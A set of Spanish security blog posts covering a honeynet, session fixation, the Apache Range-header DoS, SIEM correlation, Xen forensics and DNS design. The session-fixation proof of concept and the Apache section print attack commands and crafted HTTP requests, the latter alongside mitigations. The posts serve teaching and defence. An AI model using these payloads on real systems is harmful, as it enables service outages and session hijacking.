HoneyNet UML

A lo largo de estos últimos años hemos escrito sobre los honeypots y las ventajas que aportan a nuestra infraestructura. Por ello para intentar promulgar el uso de este tipo de herramientas he preparado un entorno virtual que emula varios honeypots de distintas clase formando una red completa: una honeynet.

Como tecnología de virtualización he escogido User Mode Linux por estar bastante familiarizado con ella, debido a que fue la opción escogida en mi proyecto de fin de carrera (véase http://bastionado.blogspot.com/2011/07/mi-proyecto-de-fin-de-carrera.html). Pero no solo por esto, ya que UML tiene una ventaja muy importantes respecto al resto de tecnologías: la máquina virtual es ejecutada con permisos de usuario sin privilegios, y por tanto, en caso de que un atacante consiga saltar al entorno anfitrión, éste accedería como usuario no privilegiado, es decir, sin ser root. De ahí su nombre, User Mode, ya que se ejecuta en el espacio de usuario y no en el espacio del kernel.

Como se puede ver en el siguiente diagrama, la Honeynet UML ha sido dividida en tres subredes: red de baja interacción, red de alta interacción y red de monitorización.

La red de baja interacción está formada por dos máquinas virtuales y un Hub UML. La primera tiene configurado un HoneyD con 3 plantillas diferentes: Solaris, Windows Server 2003 y un Cisco ASA. A su vez se ha empleado el honeypot Kippo que simula una shell de SSH. La segunda máquina UML tiene instalado un Dionaea que recientemente analizó Nelo.

La red de alta interacción está compuesta por una máquina virtual y un Hub UML. En ésta se ha instalado un honeypot de alta interacción (HIHAT) sobre un PhpMyAdmin.

La red de monitorización está compuesta por una máquina virtual y un Hub UML. La máquina UML “Monit” tiene instalado una consola centralizada por Web con un OSSEC, Nagios3, Syslog centralizado , monitorización del tráfico de red, consola de gestión HIHAT y un Snort 2.9.1.2 con DAQ 0.62 que analiza el tráfico de las redes de baja y alta interacción.

Para poder ejecutar este entorno es necesario configurar primeramente el equipo anfitrión para crear las tres interfaces del entorno y habilitar el Masquerade de las máquinas virtuales:

# /honeynet/sbin/setup.sh on
	Making Taps...
		Tap0... [OK]
		Tap1... [OK]
		Tap2... [OK]
	Internet...  [OK]

Una vez configurado las tres interfaces ya podemos lanzar la red virtual como usuario no privilegiado mediante la siguiente orden:

$ /honeynet/bin/honeynet.sh on

Dando como resultado la siguiente imagen, donde podemos ver a la izquierda las cuatro consolas de las cuatro máquinas virtuales UML, en la parte central superior la ejecución del script de la honeynet, en la parte central inferior las 4 terminales de las máquinas virtuales y por último a la derecha la consola de alertas BASE (Snort) notificando de conexiones a la MySQL de HiHat (al pinchar sobre la imagen, ésta se abrirá en una nueva ventana en tamaño grande):

Para facilitar la administración he creado una consola web centralizada en el entorno de monitorización que nos permite gestionar las alertas generadas:

  • Entorno BASE que nos permite gestionar las alertas de Snort.
  • Interfaz Web de OSSEC para gestionar las alertas del HIDS.
  • Gestión de las notificaciones del Syslog de todos los honeypots distribuidos mediante Rsyslog y LogAnalyzer.
  • Monitorización de la disponibilidad del entorno con Nagios3.
  • Status que muestra el estado de la red: que tipo de tráfico, paquetes perdidos, clasificación de IPs conectadas, etc.

Tal como se ilustra en la siguiente imagen (al pinchar sobre la imagen, ésta se abrirá en una nueva ventana en tamaño grande):

He intentado subir el entorno a algún servidor para que únicamente con descargarse el fichero, descomprimirlo y ejecutarlo, tal como hemos mostrado en las capturas de pantalla, tendríamos una Honeynet completa en nuestro entorno, pero el fichero completo ocupa 6 GB y me ha sido imposible alojarla en un servidor.

De forma temporal he subido los ficheros necesarios a Google Code, donde podéis descargar desde este enlace los scripts necesarios para la ejecución y configuración de la honeynet. Para crear las máquinas UML “solo” tenéis que seguir estos pasos, que todo sea dicho, es un poco quick and dirty con un inglés sin comentarios ya que la wiki fue creada en dos horas…

Si alguien tiene especial interés existe la posibilidad de subir el proyecto a Megaupload o algún otro servidor que permita alojar un fichero de 6 GB. No me gusta nada esta idea pero visto lo visto no veo otra opción.

Para finalizar indicar que el proyecto está abierto a cualquier persona que quiera colaborar, ya que —sea dicho de paso— toda la colaboración que la “comunidad” muestra en aspectos de hacking y reversing brilla por su ausencia en materia de defensa de entornos. Por alguna razón desconocida (corramos un tupido velo) en general son más populares las estrategias y técnicas de ataque que las de defensa. Vayan ustedes a saber porqué.

Vulnerabilidad de fijación de sesión (III): En cookie

(N.d.E.: Vean antes la primera parte y la segunda parte)

Cuando la sesión se encuentra alojada en la cookie resulta mucho más difícil de explotar, debido a que cualquier navegador Web básico emplea la protección de mismo origen o “origin server”, donde un recurso web solo puede modificar atributos si ese recurso pertenece a su mismo dominio, puerto y protocolo, es decir, el servidor atacante no puede modificar la cookie del servidor víctima, y por tanto, no podrá fijar su sesión a la víctima.

Aún así existen distintas formas de intentar explotar una fijación de sesión almacenada en una cookie:

1. Si el servidor también es vulnerable a un XSS… ¿para qué voy a explotar un XSS para fijar una sesión cuando con explotar únicamente el XSS puedo obtener directamente la sesión empleada por la víctima?

2. Si puedo modificar el tráfico de red entre la víctima y el servidor vulnerable. Sinceramente ocurre lo mismo que en el caso anterior.

3. Pasar por GET la sesión y esperar un tratamiento incorrecto de la variable, ya que algunas aplicaciones Web si leen la variable de sesión por GET modifican la variable en la cookie.

4. Inyectando código HTML y JS en la cabecera del navegador, en especial “meta http-equiv” para intentar modificar la cookie. Esto funcionaba hace unos años, ahora mismo a mí no me ha dado buen resultado.

5. Intentado poner la cookie en la URL de tal forma que entre el recurso vulnerable y la cookie haya un salto de línea añadido “\r\n”, de modo que parezca que el servidor interprete la URL como URL más cabecera cookie. Era una vulnerabilidad relativamente antigua, tampoco me ha funcionado.

[Read more…]

Vulnerabilidad de fijación de sesión: PoC (II)

Tal como se describió en la anterior entrada, la fijación de sesión es una vulnerabilidad debida a un tratamiento incorrecto en la gestión de sesiones por parte de una aplicación Web. En concreto la vulnerabilidad radica en que cuando se concede una sesión a un usuario no autenticado, y éste se autentica en dicha aplicación, el valor de la sesión no cambia. Por tanto, el vector de ataque para explotar la vulnerabilidad consiste en intentar que la víctima se autentique en la aplicación usando una sesión previamente conocida por el atacante, de tal forma que una vez el usuario se autentique, el atacante pueda acceder a la aplicación con el mismo rol que la victima gracias a que conoce la sesión de ésta.

Para comprender de forma más sencilla el funcionamiento de la vulnerabilidad vamos a presentar una posible prueba de concepto, donde el recurso web “login.php” es vulnerable a la fijación de sesión en un escenario con un servidor web vulnerable, una víctima, un atacante y un servidor web del atacante. Veamos por paso el funcionamiento mediante un ejemplo:

1. El atacante envía un correo a la víctima haciéndose pasar por un compañero de trabajo y diciéndole que por favor consulte un dato de una aplicación, proporcionándole un enlace a la supuesta aplicación, cuando realmente el enlace apunta al servidor del atacante.

2. La víctima pincha en el enlace y por tanto accede al servidor del atacante.

3. El servidor del atacante al detectar la conexión de la víctima se conecta al servidor vulnerable para obtener una sesión valida.

4. Una vez obtenida la sesión, redirecciona a la víctima al servidor vulnerable pero forzándola a usar la sesión que el ha obtenido previamente.

5. La víctima se autentica en la aplicación vulnerable. Tened en cuenta que para la víctima el paso tres y cuatro son transparentes.

6. El atacante accede a la aplicación vulnerable con la sesión que le proporciono a la víctima.

Para ver la prueba de concepto de forma práctica he creado un pequeño script en python, llamado “sessionFixation.py” (descargar), que hace las funciones del servidor atacante de forma automatizada. Éste acepta dos argumentos: el recurso vulnerable y el nombre de la variable de sesión. Al ejecutar el script se levanta en el puerto 80 un servidor web a la espera de recibir peticiones GET, y por tanto, a la espera de una víctima. Cuando la víctima se conecta al servidor, este de forma automática obtiene una sesión valida del servidor vulnerable y redirecciona a la víctima forzándole a usar por GET la sesión previamente fijada por el atacante.

En nuestro caso, el atacante será 192.168.67.130 y el servidor vulnerable 192.168.67.129. Situaremos un proxy Web delante del navegador de la víctima para ver los pasos que realiza su navegador y ejecutaremos el script del servidor teniendo en cuenta que en nuestro caso el recurso vulnerable es “login.php” y la variable de sesión es “PHPSESSID”, por tanto para ejecutarlo se haría de la siguiente forma:

# ./sessionFixation.py “192.168.67.129/login.php” PHPSESSID

La víctima, cuya IP es 192.168.67.1, pinchará sobre el enlace que apunta al servidor del atacante (http://192.168.67.130) realizando una petición como la siguiente:

GET / HTTP/1.1
Host: 192.168.67.130 (servidor atacante)

Al conectarse la victima al servidor atacante, éste realiza una consulta al recurso vulnerable y obtiene de su respuesta una sesión válida. A continuación, mediante código JavaScript, redireccionará a la víctima al recurso “login.php” pero forzando a usar la sesión previamente obtenida:

GET /login.php?PHPSESSID=25imduuvgq8kbtrl1bl8mfg8b1 HTTP/1.1
Host: 192.168.67.129 (Servidor vulnerable)
Referer: http://192.168.67.130/ (redireccionados por servidor atacante)

Este proceso es totalmente invisible para el usuario víctima, puesto que lo único que vera es que el enlace le ha llevado al recurso legítimo de “login.php”, tal como se muestra en la siguiente captura de pantalla, donde podemos ver el log del servidor atacante en la parte superior y el navegador de la víctima en la parte inferior, después de explotar la vulnerabilidad:

Como vemos, el script fija la sesión por GET, pero en caso que fuera necesario fijarla por POST habría que cambiar un par de líneas para responder a la víctima con un formulario en vez de con un “document.location”. Es relativamente sencillo realizar esta operación.

¿Pero qué ocurre cuando la sesión se encuentra en la cookie? Lo veremos en la próxima entrada.

Vulnerabilidad de fijación de sesión (I)

El protocolo HTTP fue diseñado para cumplir unos requisitos muy limitados, sin tener en cuenta muchas de las necesidades de la actualidad; por ejemplo, el protocolo no es capaz inicialmente de proporcionar o restringir visibilidad sobre sus recursos dependiendo de qué usuario los solicite.

Cuando un usuario accede a un servidor web éste realiza el saludo a tres bandas, solicita un recurso al servidor mediante HTTP, el servidor le devuelve el recurso solicitado y se cierra la conexión, por lo que si pinchamos en un enlace de la web, el servidor lo vería como una petición nueva y desconocerá que somos el mismo usuario. Por ello fue necesaria la creación del concepto de sesión, de tal forma que el servidor web sepa que somos el mismo usuario y en función de la sesión, proporcione visibilidad sobre unos recursos y con un determinado formato.

Esta sesión es un valor que debe ser aleatorio, difícil de adivinar y con una caducidad temporal. Normalmente la sesión irácomo parámetro de la URL, en las cookies o en métodos POST; la sesión será generada y proporcionada por el servidor, mientras que el cliente web tendrá la obligación de añadir la sesión en sus peticiones para que el servidor tenga constancia de quién está realizando la solicitud. Por ejemplo, imagínese que usted se autentica en su webmail de tal forma que se le permita leer su correo electrónico y por algún tipo de vulnerabilidad, por ejemplo un XSS, alguien tiene acceso a su sesión. Este atacante podrá tener las mismas funcionalidades en el recurso web que tiene usted. Su usuario y contraseña solo le sirvieron para indicarle al servidor Web que conceda a su sesión visibilidad sobre su correo.

Por ello existen multitud de posibles vectores de ataque para que un potencial atacante intente obtener su sesión y, por tanto, sea capaz de suplantar a su usuario; principalmente estos se centran en los siguientes tres tipos:

1. Sesión predecible.. Si la generación de la sesión no es aleatoria un atacante puede predecirla y suplantar al usuario.

2. Lectura de la sesión. La sesión puede ser accedida cuando hay alguna vulnerabilidad en la aplicación web, como un cross site scripting, o por emplear protocolos sin cifrado en entornos donde un potencial atacante podría leer el tráfico de red. Así se entiende el riesgo que supone acceder a un recurso web donde el proceso de autenticación es cifrado (HTTPS), pero una vez autenticados, navegamos sin cifrar (HTTP) y por tanto nuestra sesión también lo hace en texto en claro.

3. Fijación de sesión. Si una aplicación web, sin estar autenticados en el entorno, nos concede un identificador de sesión, y al autenticarnos el valor de esta sesión no cambia, estaremos ante una vulnerabilidad de fijación de sesión.

En la siguiente entrada documentaremos con mayor extensión cómo funciona la fijación de sesión, proporcionando una prueba de concepto real sobre esta vulnerabilidad.

Ahora le ha tocado a los GEO…

…mañana puede que a ti.

Hace casi una semana el nombre de Anonymous volvió a surgir de nuevo en las redes sociales y medios de propósito general, debido a un comunicado donde se indicaba un supuesto robo de información que obligó a las autoridades españolas a cerrar la web de la Policía Nacional durante unas horas. En este comunicado se hacía público el listado de los escoltas del actual presidente del gobierno español (Zapatero) y se amenazaba con la posibilidad de publicar datos del Grupo Especial de Operaciones (GEO) del Cuerpo Nacional de Policía. Unos días después el grupo Anonymous desmentía cualquier tipo de relación con el robo de información mediante un comunicado, lógicamente sin la certeza de que realmente dicho comunicado sea auténtico.

Pues bueno, hoy, cinco días después, se ha hecho público un listado de once supuestos miembros de los GEO: nombre, DNI y cargo. Lógicamente esta información no ha podido ser contrastada todavía, pero el comunicado comienza con el siguiente párrafo:

Anonymous cumple su promesa y publica un listado con nombres del GRUPO ESPECIAL DE OPERACIONES DE LA POLICIA G.E.O. y ademas advirte a la fiscal de publicar nuevos datos de caracter reservados.

Si se sigue leyendo el comunicado se observa que casi al final se indica una nueva amenaza:

EN BREVE CASO FAISAN = SEGUN PROCESO

Obviamente, este tema podría ser una bomba de relojería a un mes vista de las próximas elecciones generales.

Realmente desconozco si es Anonymous, si la información publicada es verídica -parece que sí- o si las intenciones de la gente que la ha publicado son buenas o malas. Si realmente se tiene derecho a la información o no se tiene. Solo sé que los escoltas o los miembros de los GEO nada tienen que ver con las decisiones que se toman en otros ámbitos, tanto de un color como de otro, y por tanto esta gente, estos ciudadanos, estas personas -vamos, como tú o yo- no tienen la culpa de nada para que sus datos personales sean comprometida de forma pública.

Me da igual si se trata de Anonymous, LulzSec o de cualquier otra organización, incluso de gente que se haga pasar por ellos; publicando información privada de ciudadanos lo único que se está consiguiendo es desacreditar cualquier tipo de justificación para realizar dichas acciones, y es posible que sea justamente esto lo que están intentado hacer para desacreditar a grupos como Anonymous.

Aún recuerdo cuando hace unos meses, por un fallo de seguridad en la web de INTECO, se hizo pública información de mis compañeros (y mía), incluidos en algunos casos su número de teléfono junto a su nombre y apellidos. ¿Para qué?

Denegación de servicio en Apache

A lo largo del día de hoy ha habido mucho movimiento en los ámbitos de la seguridad debido a una vulnerabilidad de denegación de servicio en Apache descubierta por “Kingcope”

Junto a la publicación de la vulnerabilidad se ha hecho público en Full Disclousure un pequeño script en perl encargado de sacar ventaja de la vulnerabilidad y explotarla. Por tanto se trata de una vulnerabilidad 0 day sin parche a aplicar en la cual se dispone de un exploit público muy sencillo de ejecutar.

Esta vulnerabilidad toma ventaja de un tratamiento incorrecto de la cabecera Range por parte de Apache. La cabecera Range se encarga de indicar al servidor Web que el cliente solo requiere ciertas partes de la web, permitiendo ahorrar ancho de banda.

En el caso del exploit este envía una cabecera Range al servidor, a la cual se le indican múltiples partes, en tamaño bytes, que son requeridas de la página web. Esto lo realiza mediante solicitudes HEAD al servidor añadiendo la siguiente cabecera: “Range: bytes=5-1,5-2,5-3,5-4,…,5-1299”. La clave está en que para cada parte se solicita que se comprima mediante GZIP(Accept-Encoding: gzip), dando lugar a un consumo desmesurado del servidor, principalmente CPU y RAM, que provoca una denegación del servicio en el entorno.

Hemos procedido a revisar el exploit público para entender lo que realizaba. Es bastante sencillo, veámoslo por puntos:

Para ejecutarlo únicamente hay que indicarle la IP como opción. Todo sea dicho, el argumento de los forks en “numforks” no está bien implementado y hay que modificarlo a fuego en el script, en nuestro caso hemos modificado 50 por 250:

$ perl ./killapache_pl 172.17.0.185
host seems vuln
ATTACKING 127.0.0.1 [using 250 forks]
:pPpPpppPpPPppPpppPp
...

Analizando el tráfico de red y el código del exploit vemos que lo que primero que hace es mandar la siguiente solicitud Web para comprobar si es vulnerable:

HEAD / HTTP/1.1
Host: 127.0.0.1
Range:bytes=0-
Accept-Encoding: gzip
Connection: close

Respondiendo el servidor de la siguiente forma:

HTTP/1.1 206 Partial Content
Date: Thu, 25 Aug 2011 09:59:32 GMT
Server: Apache/2.2.17 (Ubuntu)
Last-Modified: Thu, 25 Aug 2011 09:21:16 GMT
ETag: "a3e4a-b1-4ab50f366cd75"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 279068
Connection: close
Content-Type: multipart/byteranges; boundary=4ab517c4b5be3139b

El script comprueba si el servidor contesta con el “Partial”, de ser así, indica que es posible que sea vulnerable y procede a la explotación de la vulnerabilidad, enviando paquetes como el siguiente:

HEAD / HTTP/1.1
Host: 127.0.0.1
Range:bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,...,5-1297,5-1298,5-1299
Accept-Encoding: gzip
Connection: close

Tened en cuenta que se solicita por HEAD y por tanto el atacante solo recibirá como respuesta la cabecera HTTP del servidor.

Pese a que no hay parche de seguridad existen distintas alternativas para intentar subsanar el ataque tal como informan desde Daboweb

Como solución rápida se puede desactivar el deflate mediante la siguiente orden:

# apachectl -M 2> /dev/null | grep -i deflate_module
 deflate_module (shared)
# a2dismod deflate
Module deflate disabled.
Run '/etc/init.d/apache2 restart' to activate new configuration!
# /etc/init.d/apache2 restart
 * Restarting web server apache2   [ OK ]

Otra opción que nos ha dado mejores resultados es la propuesta por seclist.org empleando el módulo modrewrite con la siguiente sintaxis (el de Dabo indicado anteriormente nos ha fallado):

RewriteEngine On
RewriteCond %{HTTP:Range} ([0-9]*-[0-9]*)(\s*,\s*[0-9]*-[0-9]*)+
RewriteRule .* - [NS,L,F]

Otra opción es desactivar la cabecera Range usando el modulo headers, añadiendo la siguiente línea en la configuración:

RequestHeader unset Range

Les recomendamos aplicar lo antes posible cualquiera de las alternativas propuestas mientras esperamos al parche de seguridad, que se prevé que estará disponible en unas 48 horas.

Lo que hay detrás de la correlación

Seguramente muchos de ustedes estarán pensando que tras esta entrada se esconde el humosoft o vaporware que tanto gusta en estos días, pero créanme que no hablaré de sinergia, aportar valor, retorno de la inversión ni de ninguna de esas coletillas que tan bien suenan pero que tan difíciles son de apreciar. En su lugar, vamos a explicar de forma sencilla que es realmente la correlación exponiendo sus ventajas e inconvenientes. De manera muy resumida ésta consiste en, dadas una serie de fuentes de información, ser capaces de obtener los datos más relevantes para nuestra infraestructura, así como ser capaces de detectar una acción que por si sola cada una de las fuentes de información no serían capaces de detectar. Aquellos datos relevantes correlados se notificarán mediante alertas a una consola centralizada.

Como ven hemos introducido un elemento adicional: la fuente de información. Pero, ¿qué es realmente y que tipo de fuente nos interesa? La fuente de información no es más que “un algo” que aporta información al correlador de los acontecimientos ocurridos en nuestra infraestructura. Por ejemplo una herramienta de detección de intrusos, monitorización de los recursos, registros de un servidor, control de acceso físico, estación meteorológica, etc. Cuanto más fuentes de información dispongamos y cuanto más distinta sea la información aportada por cada una de éstas respecto al resto de ellas mejor visión de los acontecimientos tendrá el correlador, y por tanto, mejor funcionará. Como verán no nos interesa tener veinte fuentes de información que aporten casi lo mismo sino tres que aporten información totalmente distinta.

Una vez disponemos de las fuentes de información, se deben crear una serie de reglas de correlación que sean capaces de extraer la información realmente relevante de todo el conjunto de hechos notificados. Efectivamente durante dicho proceso es posible que perdamos acontecimientos que realmente son interesantes para nuestra infraestructura, pero deben entender que al final se trata de un equilibrio entre las alertas y los recursos disponibles. El objetivo es minimizar la perdida de dichos acontecimientos dado el personal disponible. Veámoslo con un ejemplo sencillo donde una infraestructura genera 100.000 alertas diarias y se dispone de 5 técnicos para gestionarlas, es decir, 20.000 alertas para cada técnico. Si yo se que un técnico es capaz de tratar de media 100 alertas en un día ¿qué sentido tiene que yo cree un conjunto de reglas que sean capaces de detectar todos los acontecimientos relevantes en la infraestructura, si como resultado se generan 2000 alertas correladas diarias por técnico? ¿Para que se amontonen?

Es en este punto donde radica la dificultad de las reglas de correlación, puesto que se debe buscar un equilibrio entre el número de alertas correladas y los recursos de los que disponemos intentando minimizar el número de falsos negativos. Dichas reglas, independientemente de si procesan datos de una fuente de información o de varias, se suelen clasificar como simples, complejas y mixtas:

  • Las reglas simples son aquellas que generan una alerta correlada a raíz de los acontecimientos notificados por la fuentes de información.
  • Las reglas complejas son aquellas que generan una alerta correlada a raíz de las alertas generadas por otras reglas simples o complejas. También se suelen llamar reglas en cascada.
  • Las reglas mixtas son aquellas que usan datos tanto de los acontecimientos notificados por las fuentes de información como por alertas previamente correladas.

Por tanto a la hora de implantar un entorno de correlación es importante tener en cuenta qué fuentes de información disponemos, como de diferentes son entre sí, qué cantidad de alertas se generan en el entorno y qué recursos de personal dispone un cliente. Una vez dispongamos de esta información procederemos a la creación de reglas simples, complejas y mixtas que empleen una única fuente de información y de otro grupo de reglas que empleen más de una fuente de información.

Veamos un ejemplo de cada una de ellas en un entorno donde disponemos de tres fuentes de información distinta compuestas por un entorno de monitorización, un gestor de logs del servidor y una herramienta de detección de intrusos:

  • Monitorización: caída de un host que se encuentra en el listado de host del dominio protegido da lugar a un evento en la consola centralizada y el envío de un SMS a los administradores.
  • Logs del servidor: autenticación del usuario administrador en un servidor en horario fuera de oficinas genera un evento en la consola centralizada del área de seguridad.
  • Detección de intrusos: se detecta alertas de tipo SCAN referente a escaneo de puerto y posteriormente se detecta un ataque en menos de 1 hora desde la misma IP, lo que implica un ataque y por tanto evento. De esta forma solo tendremos en cuenta las alertas de SCAN cuando se detecte un ataque posterior.
  • Monitorización y detección de intrusos: se detecta una alerta de denegación de servicio contra un servidor web y posteriormente se detecta la caída de dicho servicio. Ahora podemos tener en cuenta que la caída del servicio haya podido ser debido a un ataque de denegación de servicio.
  • Monitorización y logs del servidor: se detecta la autenticación del usuario X en un router y posteriormente la caída de los dispositivos conectados a una de las interfaces del router.
  • Detección de intrusos y logs del servidor: alerta de ejecución de una vulnerabilidad y posteriormente se notifica de la creación de un nuevo usuario en el servidor.

Como ven dada únicamente tres fuentes de información distintas las posibilidades de creación de reglas de correlación son prácticamente infinitas:

Para finalizar expondremos un ejemplo de nuestro correlador Tritón donde dada dos fuentes de información del mismo tipo, detección de intrusos, se han creado 8 reglas de correlación simples, 13 reglas de correlación compleja y una tabla de decisiones para la clasificación inicial:

Empleando dichas reglas se procesaron un millón y medio de alertas durante dos meses notificando 8.000 alertas en la consola centralizada, lo que viene a ser unos 133 eventos al día, frente a las 25.000 alertas diarias generadas por las sondas de detección de intruso. De dichas 133 eventos aproximadamente 65% corresponden a reglas de correlación simples y el 35% corresponde a reglas de correlación complejas:

Análisis forense en XEN con LVM

Cada vez más las tecnologías de virtualización están más extendidas y prácticamente no se suelen encontrar servidores físicos dedicados. Es por ello que a la hora de gestionar un incidente que requiera de análisis forense detallado es necesario conocer el funcionamiento de cada tecnología de virtualización existente para poder tomar las evidencias necesarias para el estudio del caso.

Normalmente, dentro del grupo de gestión de incidentes solemos encontrarnos con casos donde la tecnología de virtualización empleada es VMWare o Hyper-V. Pero en otras ocasiones, como la que veremos a continuación, nos encontramos con otro tipo de tecnología de virtualización que no es tan común. Para esta entrada explicaremos de forma sencilla y resumida los pasos necesarias para tomar las evidencias del sistema de ficheros de un entorno de virtualización XEN, el cual presenta la particularidad de disponer de volúmenes lógicos LVM.

En primer lugar, es necesario exportar la máquina virtual desde Xen Server mediante la orden “xe vm-export”, almacenándola en un disco duro externo:

# xe vm-export vm=Nombre_VM filename=/media/XXX/maquina.xva

Una vez copiada la máquina virtual debemos crear la suma de comprobación para la cadena de custodia:

# md5sum maquina.xva

Ya en el laboratorio de análisis forense de nuestra empresa debemos extraer los discos duros de la máquina virtual Xen. Para ello desempaquetaremos en primer lugar la máquina, generándose un fichero XML y un directorio Ref:XX que contiene el disco duro:

# tar xf maquina.xva 2> /dev/null

En el siguiente paso se deberá emplear un script que permita crear el disco duro de la máquina virtual a partir del directorio Ref:XX. Este paso es delicado puesto que si empleamos la herramienta xenmigrate.py nos generará la imagen del disco duro sin tener en cuenta los ficheros sparse (copia en escritura), muy comunes en la virtualización. Esto funciona para discos duros con particiones estándar pero no en particiones LVM, donde al intentar montar los volúmenes lógicos, nos dará un error de entrada/salida.

Debido a este problema es necesario emplear una herramienta que soporte los ficheros sparse, de tal forma que al detectar un fichero de este tipo rellene con 0 el espacio que realmente tiene asignado. Mi compañero Raúl encontró un script sencillo en bash, por supuesto hecho por un mago :) que permitía esta función:

xenmigrate.sh: 

#!/bin/bash 

dd if=/dev/zero of=blank bs=1024 count=1k 
test -f image.img && rm -f image.img 
touch image.img 

max=`ls ???????? | sort | tail -n1` 
 
for i in `seq 0 $max`; do 
        fn=`printf "%08d" $i` 
        echo -n "$fn of $max" 
        if [ -f "$fn" ]; then 
                echo " - appending chunk" 
                cat $fn >> image.img 
        else 
                echo " - filling blank" 
                cat blank >> image.img 
        fi 
done 

rm -f blank 

echo "Done."

Podemos proceder a la extracción del disco duro de la máquina virtual empleando el script anterior:

# cd Ref\:11/
# ./xenmigrate.sh imagen

Como resultado se obtiene una imagen de 20GB, que en nuestro caso coincide con los asignados al disco duro virtual frente a los 6GB que ocupan los datos. Por tanto confirmamos que se han rellenado los ficheros sparse con datos (ceros); una vez obtenida la imagen comprobamos que realmente se ha extraído correctamente:

# mv imagen ../
# cd ..
# mmls imagen

DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

Slot Start End Length Description
00: Meta 0000000000 0000000000 0000000001 Primary Table (#0)
01: ----- 0000000000 0000000062 0000000063 Unallocated
02: 00:00 0000000063 0000208844 0000208782 Linux (0x83)
03: 00:01 0000208845 0041929649 0041720805 Linux Logical Volume Manager (0x8e)

El siguiente paso consiste en obtener la partición boot y la partición LVM:

# dd if=imagen bs=512 skip=63 count=208782 of=sda1
# dd if=imagen bs=512 skip=208845 count=41720805 of=lvm

A continuación se debe ya tratar la partición LVM como si de una partición raw LVM se tratara, creando por tanto los volúmenes lógicos:

# losetup /dev/loop0 lvm
# losetup -f lvm
# losetup -a

/dev/loop0: [0861]:26132492 (/media/XXX/xen/lvm)
# kpartx -a -v /dev/loop0

Como vemos, las unidades lógicas del volumen VolGroup00 se han creado en el sistema de ficheros:

# pvdisplay 
  --- Physical volume --- 
  PV Name               /dev/loop0 
  VG Name               VolGroup00 
  PV Size               19,89 GiB / not usable 19,49 MiB 
  Allocatable           yes (but full) 
  PE Size               32,00 MiB 
  Total PE              636 
  Free PE               0 
  Allocated PE          636 
  PV UUID               XXXXX-XXXX-XXXX-XXXX-XXXX 
# ls -l /dev/mapper/ 
total 0 
brw-rw----. 1 root disk 253,   1 jul 12 18:04 VolGroup00-LogVol00 
brw-rw----. 1 root disk 253,   2 jul 12 18:04 VolGroup00-LogVol01

A partir de aquí activamos las unidades lógicas para poder hacer el volcado:

# vgchange -ay 
  2 logical volume(s) in volume group "VolGroup00" now active

Obtenemos las particiones contenidas en la unidad LVM:

# dd if=/dev/VolGroup00/LogVol00 bs=512 of=sda2 
# dd if=/dev/VolGroup00/LogVol01 bs=512 of=swap

Una vez extraídas las particiones ya podemos desmontar la unidad lógica LVM:

# vgchange -a n /dev/loop0 
# kpartx -d /dev/loop0 
# losetup -d /dev/loop0

Por fin disponemos de las particiones en raw de la máquina virtual para poder usar las herramientas de análisis forense o montar el entorno en solo lectura para su tratamiento. Por tanto a partir de ahora ya podremos comenzar a analizar, desde un punto de vista forense, las particiones sda1, sda2 y swap de la máquina virtual extraída.

¡No quiero a mi DNS!

Pues sí, parece ser que el DNS es un bicho raro que nadie quiere y seguro que algunos se preguntarán qué es eso del DNS. Pues el DNS es un servicio encargado de resolver los nombres de las direcciones de Internet, es decir, que si usted pone en su navegador web www.google.es, él se encarga de decirle a su navegador que donde quiere usted ir es a la IP 1.2.3.4.

Como ven bajo esas tres letritas tan raras se esconde uno de los servicios más críticos para la infraestructura de su empresa. ¿Por qué? Pues porque es el encargado de que si un cliente pone www.suempresa.es vaya a su empresa y no a la de la competencia, porque también es el encargado de que si su servidor requiere una actualización la obtenga del sitio correcto y no de “pedazo-rootkit-te-voy-a-meter” y, como no, de que cuando un usuario se conecte a Facebook el lunes para comprobar qué planes hay para el sábado vaya realmente a Facebook y no a un falsa web que robe las credenciales del usuario (tenga en cuenta que quien dice Facebook puede decir su entidad bancaria).

Una vez mostrado la importancia del DNS para su infraestructura, nos planteamos… ¿Por qué en ocasiones no se toman las medidas necesarias de arquitectura de red y de bastionado del servicio que realmente requiere este servicio? No hablo de restringir únicamente la petición de la versión empleada o las transferencias de zona, hablo de por qué permite que su DNS interno consulte directamente a un DNS externo, por qué el DNS de la red perimetral responde tanto a los servidores de la red perimetral como a las solicitudes de activos externos a su infraestructura, por qué permite que los activos de la red internan puedan solicitar cualquier dominio, por qué su servidor DNS público permite consultas recursiva a solicitudes externas… ¿Por qué? Mourinho, ahora te entiendo :)

Su infraestructura debe disponer de al menos tres DNS, los cuales se recomienda que estén replicados para alta disponibilidad (es decir, seis servidores DNS):

  • El primer DNS es el encargado de responder a las peticiones externas que pregunten sobre un dominio de nuestra infraestructura y por tanto es el encargado de resolver las IP públicas de nuestra red. Éste debe estar en una zona dedicada y propia de la infraestructura, y dicho DNS no debe permitir peticiones recursivas y por supuesto peticiones desde nuestra infraestructura.
  • El segundo DNS se encontrará en la red perimetral o DMZ. Contiene las IP privadas de los servidores de DMZ y a su vez será el encargado de consultar a los DNS externos de la infraestructura si recibe peticiones, si y solo si, de activos pertenecientes a la red perimetral o del DNS interno.
  • El tercer DNS será el interno, que responderá única y exclusivamente a peticiones de los activos de la red interna y en caso de no disponer de la respuesta, siempre deberá preguntar al DNS de la red perimetral de la infraestructura y jamás, repito, JAMÁS, a un DNS externo de Internet.

Con este entorno dispondremos de una arquitectura de red para los DNS segura, dentro de lo seguro que pueda ser un servicio que se comunica mediante UDP (si la petición es inferior a 512 bytes). Pero lógicamente este diseño debe ser acompañado por dos herramientas: un IPS que sea capaz de entender a nivel de aplicación el protocolo DNS y añadir la capacidad de Sinkhole al DNS interno.

En lo referido al IPS es crucial que éste sea capaz de entender a nivel de aplicación el protocolo DNS puesto que éste emplea un formato muy especifico para contener los dominios. Si por ejemplo queremos detectar conexiones hacia el dominio de malware “counter.yadro.ru” no se le puede decir al IPS que intente buscar esa cadena porque no la va a encontrar. Si vemos a bajo nivel una consulta de dicho dominio vemos que lo que se manda es lo siguiente: “0763 6f75 6e74 6572 0579 6164 726f 0272 7500”, es decir, por cada registro se indica primero el número de caracteres del subdominio y posteriormente se envían los valores ASCII del subdominio. Para terminar el dominio se emplea el carácter “00”:

    07

    63

    6f

    75

    6e

    74

    65

    72

    05

    79

    61

    64

    72

    6f

    02

    72

    75

    00

    c

    o

    u

    n

    t

    e

    r

    y

    a

    d

    r

    o

    r

    u

